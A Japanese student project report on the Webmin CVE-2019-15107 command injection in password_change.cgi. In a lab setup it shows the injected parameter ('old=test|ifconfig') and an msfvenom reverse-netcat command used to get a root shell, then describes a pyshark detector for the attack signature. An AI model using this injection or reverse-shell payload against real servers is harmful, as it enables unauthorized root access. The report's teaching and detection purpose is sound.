
学校のプロジェクト
I. CVE-2019-15107 の概要
Webmin は Unix システム管理のための Web ベースのインターフェースです。任意の Web ブラウザを使用して、ユーザーアカウント、Apache、DNS、ファイル共有などを設定できます。
2019年8月10日、トルコのサイバーセキュリティ研究者 Özkan Mustafa Akkuş 氏は DefCon でゼロデイ脆弱性を公表しました。Akkuş 氏は脆弱性の公表に加えて、この脆弱性の悪用を自動化する Metasploit モジュールも公開しました。password_change.cgi ファイルのパスワードリセット機能におけるコード実行の脆弱性により、この脆弱性は第三者による入力認証なしの悪意のあるコード実行を可能にします。
II. 影響を受けるバージョン
この脆弱性は Webmin のバージョン 1.882 から 1.921 に影響します。この脆弱性を防ぐために、Webmin を使用している方は最新版の Webmin 1.93 に更新してください。
III. 脆弱性の分析
Webmin の「ユーザーパスワード変更を許可」機能が有効になっている必要があります。これが唯一の条件ですが、多くの Webmin 管理者はこの機能を有効にしています。この機能により、ユーザーは古いパスワードを使用して新しいパスワードを設定できます。Webmin アプリケーションのソースコードには、注目すべき ".cgi" ファイルがいくつかあります。その1つが password_change.cgi です。

このファイルのパラメータが機能するための唯一の要件は、設定ファイル "miniserv.conf" 内の "passwd_mode" の値が "2" に設定されていることです。

ここでは、古いパスワードの認証プロセス中に /etc/shadow ファイルを読み取るために "|" を使用します。通常のパスワード変更コマンドの例:

以下のようにパスワード変更コマンドに "ifconfig" のような単純なコマンドを挿入すると、"ipconfig" コマンドが実行され、結果が表示されました。

IV. 展開モデル
Ubuntu マシン (victim) に Webmin バージョン 1.920 をインストールし、IP アドレス: 192.168.109.128

Kali マシン (attacker) の IP アドレス: 192.168.109.131


V. CVE 脆弱性の悪用

次に、attacker マシンは Burp Suite の Repeater タブを介してこのリクエストを送信し、脆弱性をテストします。

attacker はキャプチャしたリクエストパケットからいくつかの情報を編集します。パスワードを変更するには、HTTP メソッドが当初の GET ではなく POST である必要があるためです。

次に、attacker マシンは victim の Webmin サーバーに古いパスワードからパスワードを変更するテストリクエストを送信します: 「user=test&pam=&old=test&new1=test2&new2=test2」

リクエストを送信すると、古いパスワードが一致しないというメッセージ (The current password is incorrect) が表示されるため、核心は "old" パラメータにあります。
次に、old パラメータの後に ifconfig のような基本的なコマンドを挿入して、サーバーが古いパスワードをチェックするときに挿入したコマンドを実行するようにします。例: 「user=test&pam=&old=test|ifconfig&new1=test2&new2=test2」

上記と同様に、サーバーが古いパスワードをチェックするとまだ間違っていますが、そのパスワードをチェックした後、"ifconfig" コマンドが実行されて表示されます。
その後、root 権限を取得するために、Metasploit framework を使用してペイロードを作成し、victim の Webmin サーバーに送信してシェルセッションを受け取ります。「msfvenom -p cmd/unix/reverse_netcat lhost= lport=」

次に、ペイロードをコピーして Burp Suite のリクエストに挿入します。

ペイロードを含むリクエストを Webmin サーバーに送信すると、victim マシンはリバースシェルに感染しました。attacker マシンは被害者マシン (ip: 192.168.109.128 port 37218) へのシェルセッションを受け取りました。

このようにして、この CVE の脆弱性を通じて root を取得しました。

VI. 攻撃シグネチャの特定
Wireshark を使用してネットワーク層のパケットをキャプチャします。

この CVE を悪用するには、attacker は /password_change.cgi リンクを使用して、HTTP の POST メソッドを介して悪意のあるペイロードを含むリクエストを送信する必要があるため、Wireshark でキャプチャした HTTP パケットを分析する必要があります。

Webmin サーバーが変更したい古いパスワードをチェックするプロセスに "ifconfig" コマンドが挿入されていることがわかります。

したがって、この CVE のシグネチャは、/password_change.cgi リンクを介したパスワード変更プロセス中に渡されるパラメータであると特定できます: 「user=test&pam=&old=test | <attacker が実行したいコマンド> &new1=test2&new2=test2」 VII. CVE-2019-15107 攻撃検出ツールの構築
上記の分析のとおり、attacker がこの CVE を悪用するには、攻撃を実行するために old パラメータ (「古いパスワード」) にコマンドを挿入する必要があります。

この CVE の脆弱性に基づいてコマンドを挿入しようとしている人を検出するには、"pyshark" ツールを使用して、彼らが送信する HTTP パケットをキャプチャして分析する必要があります。

キャプチャした HTTP パケット内のデータは Hex 形式で返されます。"old=" パラメータと "|" に基づいて、誰かがこの CVE の悪用を試みていることを知ることができます。checkPayload 関数は HTTP パケットに問題があるかどうかを確認します。

次に、問題のある HTTP パケットを特定した後、getCommand 関数は attacker が実行しているコマンドを出力します。

パケットのキャプチャと分析のプロセスも .csv 形式で記録されます。

VIII. プログラムのデモ
attacker が攻撃を実行すると、プログラムはリアルタイムで警告します。

プログラムを停止すると、プログラムの実行中にキャプチャしたすべてのトラフィック (HTTP ペイロードは hex 形式) が .csv ファイルに記録されます。

プログラムは危険な警告のログも記録します。

IX. 結論 授業での学習と実践演習を通じて、マルウェアの調査・分析プロセスをある程度理解することができました。CVE-2019-15107 の脆弱性の悪用と検出プログラムの構築を実施する際、学んだ知識を応用して、シグネチャによる脆弱性検出プログラムの分析と構築を行うことができ、情報の分析・検出・処理能力とネットワークセキュリティ監視の能力を向上させることができました。